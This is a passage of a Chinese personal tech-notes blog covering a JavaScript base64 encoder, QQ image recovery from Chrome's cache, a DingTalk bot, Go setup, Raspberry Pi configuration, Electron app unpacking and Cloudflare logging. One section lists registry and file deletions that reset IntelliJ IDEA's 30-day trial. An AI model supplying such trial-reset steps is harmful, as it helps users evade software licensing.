class=\"p\">(</span><span class=\"mi\">0</span><span class=\"p\">));</span>\n<span class=\"w\">        </span><span class=\"p\">}</span><span class=\"w\"> </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">base64Value</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"mi\">61</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"o\">-</span><span class=\"mi\">9</span>\n<span class=\"w\">            </span><span class=\"n\">base64Value</span><span class=\"w\"> </span><span class=\"o\">-=</span><span class=\"w\"> </span><span class=\"mi\">52</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">0</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"nb nb-Type\">String</span><span class=\"o\">.</span><span class=\"n\">fromCharCode</span><span class=\"p\">(</span><span class=\"n\">base64Value</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s2\">&quot;0&quot;</span><span class=\"o\">.</span><span class=\"n\">charCodeAt</span><span class=\"p\">(</span><span class=\"mi\">0</span><span class=\"p\">));</span>\n<span class=\"w\">        </span><span class=\"p\">}</span><span class=\"w\"> </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">base64Value</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"mi\">62</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"s1\">&#39;+&#39;</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span><span class=\"w\"> </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">base64Value</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"mi\">63</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"s1\">&#39;/&#39;</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span><span class=\"w\"> </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">throw</span><span class=\"w\"> </span><span class=\"s2\">&quot;Invalid number: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">base64Value</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">convertToBase64</span><span class=\"p\">(</span><span class=\"n\">input</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">en</span><span class=\"o\">.</span><span class=\"n\">wikipedia</span><span class=\"o\">.</span><span class=\"n\">org</span><span class=\"o\">/</span><span class=\"n\">wiki</span><span class=\"o\">/</span><span class=\"n\">Base64</span><span class=\"c1\">#Example</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">remainingBits</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s2\">&quot;&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">additionalCharsNeeded</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"p\">;</span>\n\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">charIndex</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">charAsciiValue</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">advanceToNextChar</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">charIndex</span><span class=\"o\">++</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"n\">charAsciiValue</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">input</span><span class=\"o\">.</span><span class=\"n\">charCodeAt</span><span class=\"p\">(</span><span class=\"n\">charIndex</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">charIndex</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"n\">input</span><span class=\"o\">.</span><span class=\"n\">length</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">};</span>\n\n<span class=\"w\">        </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"bp\">true</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">base64Char</span><span class=\"p\">;</span>\n\n<span class=\"w\">            </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">handle</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"n\">st</span><span class=\"w\"> </span><span class=\"nb\">char</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"n\">advanceToNextChar</span><span class=\"p\">())</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"n\">base64Char</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">charAsciiValue</span><span class=\"w\"> </span><span class=\"o\">&gt;&gt;&gt;</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"n\">remainingBits</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">charAsciiValue</span><span class=\"w\"> </span><span class=\"o\">&amp;</span><span class=\"w\"> </span><span class=\"mi\">3</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">0000</span><span class=\"w\"> </span><span class=\"mi\">0011</span>\n<span class=\"w\">            </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">getBase64Char</span><span class=\"p\">(</span><span class=\"n\">base64Char</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"n\">st</span><span class=\"w\"> </span><span class=\"nb\">char</span>\n<span class=\"w\">            </span><span class=\"n\">additionalCharsNeeded</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">3</span><span class=\"p\">;</span>\n\n<span class=\"w\">            </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">handle</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"n\">nd</span><span class=\"w\"> </span><span class=\"nb\">char</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"n\">advanceToNextChar</span><span class=\"p\">())</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"n\">base64Char</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">remainingBits</span><span class=\"w\"> </span><span class=\"o\">&lt;&lt;</span><span class=\"w\"> </span><span class=\"mi\">4</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">charAsciiValue</span><span class=\"w\"> </span><span class=\"o\">&gt;&gt;&gt;</span><span class=\"w\"> </span><span class=\"mi\">4</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"n\">remainingBits</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">charAsciiValue</span><span class=\"w\"> </span><span class=\"o\">&amp;</span><span class=\"w\"> </span><span class=\"mi\">15</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">0000</span><span class=\"w\"> </span><span class=\"mi\">1111</span>\n<span class=\"w\">            </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">getBase64Char</span><span class=\"p\">(</span><span class=\"n\">base64Char</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"n\">nd</span><span class=\"w\"> </span><span class=\"nb\">char</span>\n<span class=\"w\">            </span><span class=\"n\">additionalCharsNeeded</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"p\">;</span>\n\n<span class=\"w\">            </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">handle</span><span class=\"w\"> </span><span class=\"mi\">3</span><span class=\"n\">rd</span><span class=\"w\"> </span><span class=\"nb\">char</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"n\">advanceToNextChar</span><span class=\"p\">())</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"n\">base64Char</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">remainingBits</span><span class=\"w\"> </span><span class=\"o\">&lt;&lt;</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">charAsciiValue</span><span class=\"w\"> </span><span class=\"o\">&gt;&gt;&gt;</span><span class=\"w\"> </span><span class=\"mi\">6</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">getBase64Char</span><span class=\"p\">(</span><span class=\"n\">base64Char</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">3</span><span class=\"n\">rd</span><span class=\"w\"> </span><span class=\"nb\">char</span>\n<span class=\"w\">            </span><span class=\"n\">remainingBits</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">charAsciiValue</span><span class=\"w\"> </span><span class=\"o\">&amp;</span><span class=\"w\"> </span><span class=\"mi\">63</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">0011</span><span class=\"w\"> </span><span class=\"mi\">1111</span>\n<span class=\"w\">            </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">getBase64Char</span><span class=\"p\">(</span><span class=\"n\">remainingBits</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">4</span><span class=\"n\">th</span><span class=\"w\"> </span><span class=\"nb\">char</span>\n<span class=\"w\">            </span><span class=\"n\">additionalCharsNeeded</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">there</span><span class=\"w\"> </span><span class=\"n\">may</span><span class=\"w\"> </span><span class=\"n\">be</span><span class=\"w\"> </span><span class=\"n\">an</span><span class=\"w\"> </span><span class=\"n\">additional</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"o\">-</span><span class=\"mi\">3</span><span class=\"w\"> </span><span class=\"n\">chars</span><span class=\"w\"> </span><span class=\"n\">that</span><span class=\"w\"> </span><span class=\"n\">need</span><span class=\"w\"> </span><span class=\"n\">to</span><span class=\"w\"> </span><span class=\"n\">be</span><span class=\"w\"> </span><span class=\"n\">added</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">additionalCharsNeeded</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">remainingBits</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">remainingBits</span><span class=\"w\"> </span><span class=\"o\">&lt;&lt;</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">4</span><span class=\"w\"> </span><span class=\"n\">extra</span><span class=\"w\"> </span><span class=\"n\">bits</span>\n<span class=\"w\">            </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">getBase64Char</span><span class=\"p\">(</span><span class=\"n\">remainingBits</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s2\">&quot;=&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span><span class=\"w\"> </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">additionalCharsNeeded</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"mi\">3</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">remainingBits</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">remainingBits</span><span class=\"w\"> </span><span class=\"o\">&lt;&lt;</span><span class=\"w\"> </span><span class=\"mi\">4</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"w\"> </span><span class=\"n\">extra</span><span class=\"w\"> </span><span class=\"n\">bits</span>\n<span class=\"w\">            </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">getBase64Char</span><span class=\"p\">(</span><span class=\"n\">remainingBits</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s2\">&quot;==&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span><span class=\"w\"> </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">additionalCharsNeeded</span><span class=\"w\"> </span><span class=\"o\">!=</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">throw</span><span class=\"w\"> </span><span class=\"s2\">&quot;Unhandled number of additional chars needed: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">additionalCharsNeeded</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">})()</span>\n</code></pre></div>\n\n<p>例如找到http://a3.qpic.cn/psb?/V12C1bLj2DcCgb/f9hTWn5wbxt3dZd5MlUCHX6tA9oqVOudgT2rqARLltk!/a/dI4BAAAAAAAA</p>\n<p>但这样只是一张小图，我们当然希望有大图，比对大图的url发现只要将上述url的/a/替换为/b/即可</p>\n<p>所以总结一下就是打开缓存页面chrome://cache/，查找psb字符串，找到想要的图片，如果是小图就改一下url得到大图</p>\n<hr />\n<h2 id=\"_11\">为什么我喜欢写博客？<a class=\"headerlink\" href=\"#_11\" title=\"Permanent link\">&para;</a></h2>\n<p>摘自 https://manishearth.github.io/blog/2018/08/26/why-i-enjoy-blogging/</p>\n<p>写下来的过程发现自己还有不懂的，给自己讲清楚甚至能发现rust标准库的bug，本质上是给很多人讲需要考虑所有方面而不是最小必要；当你觉得显而易见的时候很容易失去解释清楚的能力</p>\n<p>读旧的文章很有趣 让自己回到写作的那一时刻 比较当时自己的理解和现在的 体会自己的进步，重新学习已经忘了的</p>\n<p>写作能换个脑子 在不同工作之前切换 使用不同的脑区 整天都有精力</p>\n<p>写blog能偷懒 以后有人问到就能直接给链接说“你想知道更多的话 我已经在这写过了”</p>\n<p>别人写过了还要不要写？要写！ 你的理解不同，散落在不同地方的知识综合起来也有价值</p>\n<p>你真正的职责是当你有空free了，你应该让其他人也轻松free，如果你有能力power，你的职责就是为其他人赋能empower</p>\n<p>自学不意味着当一个编译器的fuzzer随机尝试，而是学文档tutorial，从书籍学算法——自学只是说你完全掌控自己的学习过程，但仍然依赖其他人的工作</p>\n<p>你也应该写博客 这里有一些建议https://jvns.ca/blog/2016/05/22/how-do-you-write-blog-posts/</p>\n<hr />\n<h2 id=\"atoutgoing\">支持被at的(outgoing)钉钉机器人<a class=\"headerlink\" href=\"#atoutgoing\" title=\"Permanent link\">&para;</a></h2>\n<p>需要自己注册一个企业，管理员才能创建这种机器人，机器人只能在内部群使用</p>\n<p>文档： https://ding-doc.dingtalk.com/doc#/serverapi2/elzz1p</p>\n<p>其中缺失了关于atDingtalkIds的描述，需要看这个： https://juejin.im/post/6844903922029576205</p>\n<p>需要注意的地方有：修改服务器回调通知地址和修改上线的时候，钉钉就会验证服务器是否正常，你可以<code>while true; nc -lp 8888 &lt; tmp.txt; done</code> 死循环提供个正常的http服务</p>\n<p>POST发来的数据里面有临时的url可以发消息，还有senderId是发送者id用来在atDingtalkIds中使用</p>\n<p>收到的POST内容：</p>\n<div class=\"codehilite\"><pre><span></span><code>{&quot;conversationId&quot;:&quot;cidoAgtPbnu9MyulIyt0kpNYg==&quot;,&quot;atUsers&quot;:[{&quot;dingtalkId&quot;:&quot;$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW&quot;}],&quot;chatbotCorpId&quot;:&quot;dingb1d0b0ca51cxxxxxx&quot;,&quot;chatbotUserId&quot;:&quot;$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW&quot;,&quot;msgId&quot;:&quot;msgWjYj1k8LPNOBBy+jxNKwQw==&quot;,&quot;senderNick&quot;:&quot;发送者姓名&quot;,&quot;isAdmin&quot;:false,&quot;senderStaffId&quot;:&quot;2665036700000000&quot;,&quot;sessionWebhookExpiredTime&quot;:1600622026555,&quot;createAt&quot;:1600616626487,&quot;senderCorpId&quot;:&quot;dingb1d0b0ca51c029b24ac5d6980000000&quot;,&quot;conversationType&quot;:&quot;2&quot;,&quot;senderId&quot;:&quot;$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV&quot;,&quot;conversationTitle&quot;:&quot;群组标题&quot;,&quot;isInAtList&quot;:true,&quot;sessionWebhook&quot;:&quot;https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386&quot;,&quot;text&quot;:{&quot;content&quot;:&quot; 1+1&quot;},&quot;msgtype&quot;:&quot;text&quot;}\n</code></pre></div>\n\n<p>回复发送者一个666：</p>\n<div class=\"codehilite\"><pre><span></span><code>curl https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386 -H &quot;Content-Type: application/json&quot; --data &#39;{&quot;msgtype&quot;:&quot;text&quot;, &quot;text&quot;:{&quot;content&quot;:&quot;666&quot;}, &quot;at&quot;:{&quot;atDingtalkIds&quot;:[&quot;$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV&quot;]}}&#39;\n</code></pre></div>\n\n<hr />\n<h2 id=\"go\">Go语言<a class=\"headerlink\" href=\"#go\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"_12\">安装<a class=\"headerlink\" href=\"#_12\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">q</span><span class=\"w\"> </span><span class=\"n\">https</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">golang</span><span class=\"o\">.</span><span class=\"n\">org</span><span class=\"o\">/</span><span class=\"n\">dl</span><span class=\"o\">/</span><span class=\"n\">go1</span><span class=\"o\">.</span><span class=\"mf\">15.3</span><span class=\"o\">.</span><span class=\"n\">linux</span><span class=\"o\">-</span><span class=\"n\">amd64</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">gz</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span>\\\n<span class=\"w\">    </span><span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">C</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">usr</span><span class=\"o\">/</span><span class=\"n\">local</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">xzf</span><span class=\"w\"> </span><span class=\"n\">go1</span><span class=\"o\">.</span><span class=\"mf\">15.3</span><span class=\"o\">.</span><span class=\"n\">linux</span><span class=\"o\">-</span><span class=\"n\">amd64</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">gz</span>\n<span class=\"k\">export</span><span class=\"w\"> </span><span class=\"n\">PATH</span><span class=\"o\">=$</span><span class=\"n\">PATH</span><span class=\"p\">:</span><span class=\"o\">/</span><span class=\"n\">usr</span><span class=\"o\">/</span><span class=\"n\">local</span><span class=\"o\">/</span><span class=\"n\">go</span><span class=\"o\">/</span><span class=\"n\">bin</span>\n</code></pre></div>\n\n<h3 id=\"build\">提取build失败缺失的库安装<a class=\"headerlink\" href=\"#build\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">go</span><span class=\"w\"> </span><span class=\"n\">build</span><span class=\"w\"> </span><span class=\"o\">|&amp;</span><span class=\"w\">  </span><span class=\"n\">grep</span><span class=\"w\"> </span><span class=\"n\">cannot</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"n\">cut</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">d</span><span class=\"s1\">&#39;&quot;&#39;</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">f2</span><span class=\"o\">|</span><span class=\"n\">xargs</span><span class=\"w\"> </span><span class=\"k\">go</span><span class=\"w\"> </span><span class=\"k\">get</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"idea20202-30\">IDEA2020.2 30天后重新试用<a class=\"headerlink\" href=\"#idea20202-30\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： http://scz.617.cn:8/windows/202010261152.txt</p>\n<p>regedit找到HKCU\\SOFTWARE\\JavaSoft\\Prefs\\jetbrains\\idea，其中会有目录包含evlsprt3\\202，删掉这个目录里面的evlsprt和evlsprt2</p>\n<p>然后删除这些目录：</p>\n<div class=\"codehilite\"><pre><span></span><code>rd /s /q &quot;%APPDATA%\\JetBrains\\IntelliJIdea2020.2\\eval&quot;\ndel &quot;%APPDATA%\\JetBrains\\PermanentDeviceId&quot;\ndel &quot;%APPDATA%\\JetBrains\\PermanentUserId&quot;\ndel &quot;%APPDATA%\\JetBrains\\bl&quot;\ndel &quot;%APPDATA%\\JetBrains\\crl&quot;\n</code></pre></div>\n\n<p>编辑&rdquo;%APPDATA%\\JetBrains\\IntelliJIdea2020.2\\options\\other.xml&rdquo;</p>\n<p>删除包含evlsprt.202或evlsprt2.202的行</p>\n<hr />\n<h2 id=\"_13\">树莓派到手后配置<a class=\"headerlink\" href=\"#_13\" title=\"Permanent link\">&para;</a></h2>\n<p>一款新的树莓派4到手，默认为英国键盘布局不能输入@#符号，显示分辨率不够1080p，以及有线网络和无线网络优先级需要调整</p>\n<h3 id=\"_14\">修改键盘布局<a class=\"headerlink\" href=\"#_14\" title=\"Permanent link\">&para;</a></h3>\n<p>查到有教程说<code>sudo raspi-config</code>里可以修改键盘布局，实测发现改了之后只敲了一次@之后又被改回去了，还是得修改输入法：</p>\n<p>参考 https://jingyan.baidu.com/article/3aed632e29dfd87011809169.html</p>\n<div class=\"codehilite\"><pre><span></span><code>sudo apt install fcitx\nreboot\n</code></pre></div>\n\n<p>右上角有输入法图标 管理键盘 删掉英国 加上英语(美国)即可</p>\n<h3 id=\"_15\">显示分辨率修改<a class=\"headerlink\" href=\"#_15\" title=\"Permanent link\">&para;</a></h3>\n<p>参考 https://www.ncnynl.com/archives/201607/226.html</p>\n<p>树莓派有两种hdmi输出模式，1是CEA电视，2是DMT电脑显示器</p>\n<p>查看当前显示器支持的分辨率们：</p>\n<div class=\"codehilite\"><pre><span></span><code>tvservice -m CEA\ntvservice -m DMT\n</code></pre></div>\n\n<p>实际上显示出来的并不一定完整，还需要自己多测试：例如设置为 640x480   60Hz</p>\n<div class=\"codehilite\"><pre><span></span><code>tvservice -e &quot;DMT 4&quot;\n</code></pre></div>\n\n<p>建议在终端里先敲这个命令 当显示不出来的时候可以按↑回车改回一个正常显示，不至于重启</p>\n<p>完整的列表在上述参考链接中有了，可以自己多试试，切换分辨率后记得移动鼠标 不然不会显示</p>\n<p>但是我希望的分辨率 1920x1080 60Hz不在DMT列表中，这就需要自定义分辨率了</p>\n<p>修改<code>/boot/config.txt</code>，添加：</p>\n<div class=\"codehilite\"><pre><span></span><code>hdmi_cvt=1920 1080 60 3\nhdmi_group=2\nhdmi_mode=87\nhdmi_drive=2\n</code></pre></div>\n\n<p>其中hdmi_cvt的解释： https://www.raspberrypi.org/documentation/configuration/config-txt/video.md</p>\n<p>其中最后一个3是sdtv_aspect 长宽比 我这里是16:9 所以填了3</p>\n<p>修改后重启即可，似乎目前树莓派也学聪明了，即使config.txt里配置了错误的值显示不出来，也会自动回退到720p保证显示</p>\n<h3 id=\"_16\">调整无线网络和有线网络的优先级<a class=\"headerlink\" href=\"#_16\" title=\"Permanent link\">&para;</a></h3>\n<p>我希望外网访问(default路由)走wifi，内网访问(10.0.0.0/8)走有线，但默认联网后有线也会占据default路由而且优先级比无线高（跃点数小）</p>\n<p>两个网络都是使用dhcp获取IP，所以可以在dhcp的配置文件里配置metric</p>\n<p>参考： https://raspberrypi.stackexchange.com/a/50951</p>\n<p>编辑<code>/etc/dhcpcd.conf</code></p>\n<div class=\"codehilite\"><pre><span></span><code>interface wlan0\nmetric 200\n\ninterface eth0\nmetric 300\n</code></pre></div>\n\n<p>然后编辑dhcp的hook自动执行route命令：</p>\n<p>参考 https://wiki.archlinux.org/index.php/dhcpcd#DHCP_static_route.28s.29</p>\n<p>编辑<code>/etc/dhcpcd.exit-hook</code></p>\n<div class=\"codehilite\"><pre><span></span><code>route add -net 10.0.0.0/8 gw &lt;网关ip&gt; dev eth0\n</code></pre></div>\n\n<hr />\n<h2 id=\"electron\">修改Electron应用<a class=\"headerlink\" href=\"#electron\" title=\"Permanent link\">&para;</a></h2>\n<p>想让这个Electron应用浏览器打开自定义的页面，但人家没提供F12（虽然最后发现也没啥用Orz</p>\n<p>参考： <a href=\"https://www.52pojie.cn/thread-563895-1-1.html\">吾爱破解-Electron跨平台程序破解的一般思路</a></p>\n<div class=\"codehilite\"><pre><span></span><code>npm install asar -g\n# 在resources目录可以找到app.asar，这样解包：\nasar e app.asar tmp\n\n# 修改后重新打包：\nasar p tmp/ app.asar\n</code></pre></div>\n\n<p>具体的修改挺简单，找到入口的electron.js</p>\n<p>注释掉new BrowserWindow的titleBarStyle: &lsquo;hidden&rsquo;, removeMenu() 修改.loadURL(url)</p>\n<hr />\n<h2 id=\"cloudflare\">Cloudflare免费账户 获取访问日志<a class=\"headerlink\" href=\"#cloudflare\" title=\"Permanent link\">&para;</a></h2>\n<p>原始日志只对付费的企业版开放，难道我们就没有方法获取访问日志来分析流量嘛？</p>\n<p>看到防火墙的拦截日志，又发现“绕过”这个action也会记录日志，那我们就可以创建一个绕过本身就没有启用的防护，就能记录所有流量了。但注意这个防火墙日志是抽样记录的。</p>\n<p>看F12 Network发现人家查询接口用的是GraphQL，然后发现需要通过introspection才能知道有哪些可用的字段</p>\n<p>cloudflare的文档： https://developers.cloudflare.com/analytics/graphql-api/getting-started/querying-basics</p>\n<p>实际的introspection请求：<a 